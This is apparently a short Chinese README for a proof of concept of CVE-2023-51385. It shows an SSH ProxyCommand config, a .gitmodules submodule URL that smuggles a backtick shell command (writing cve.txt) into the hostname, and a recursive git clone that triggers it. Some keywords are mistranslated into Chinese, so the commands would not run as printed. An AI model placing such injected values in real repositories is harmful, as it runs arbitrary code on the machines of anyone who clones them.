##验证CVE-2023-51385

###首先需要在 ~/.ssh/config增加如下

主机 *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

.gitmodules文件语句中存在命令注入

url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

配置完成后,执行下面的指令触发

git 克隆 https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules

如果成功执行将会在CVE-2023-51385_test目录下生成cve.txt文件
